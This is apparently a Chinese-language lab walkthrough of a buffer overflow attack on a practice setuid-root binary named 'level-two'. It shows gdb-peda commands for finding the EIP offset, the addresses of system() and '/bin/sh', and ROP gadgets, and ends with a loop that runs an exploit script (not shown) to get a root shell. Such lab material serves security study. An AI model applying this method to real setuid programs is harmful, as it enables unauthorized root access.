緩衝區溢位攻擊,我們主要想透過他的記憶體溢位來提升權限。
sudo chown root:root level-two
將檔案 level-two
的所有權更改為 root
用戶和 root
群組。
sudo chmod 4755 level-two
變更檔案權限,加入 setuid 權限到 level-two,允許以檔案所有者的身分執行該程式。
gdb -q level-two
gdb-peda$ checksec
啟動 gdb 來偵錯 level-two 檔案,並用 checksec 指令檢查檔案的安全性設置。
NX:ENABLED,表示沒法在內存中注入 shellcode 執行惡意代碼。
gdb-peda$ r
在 GDB 中啟動程式,發現是一隻讓你輸入任何字串,就會跟你 say hello的程式。
gdb-peda$ pattern create 500
先建立長度500的字串測試看看,多少才會溢位。
gdb-peda$ r
輸入上一步產生的 500 個文字,貼上去後,點擊 Enter,結果發生錯誤。
gdb-peda$ pattern search
這時可以得知 EIP 的 offset。
gdb-peda$ pattern create 140
gdb-peda$ r
由 EIP 的 offset,可以再進一步取得EBP、ESP、EIP 的位置。產生 140 長度的字串,並在後面加上 BBBBCCCCCCCC 來識別位置用。
驗證沒有錯,成功取得EBP、ESP、EIP 在記憶體中位置。
gdb-peda$ p setuid
gdb-peda$ p setgid
gdb-peda$ p system
gdb-peda$ find /bin/sh
接著找出 setuid()、setgid()、system()、/bin/sh 在記憶體中的位址。
gdb-peda$ ropgadget
查詢可用的ROP gadgets。
打開攻擊程式,根據上面的結果修改記憶體位置。
開另一個Terminal 執行攻擊程式while true; do (python2 ./exp_leveltwo.py; cat) | ./level-two; done
一直案 enter,直到 enter 都沒跑出文字
最後攻擊成功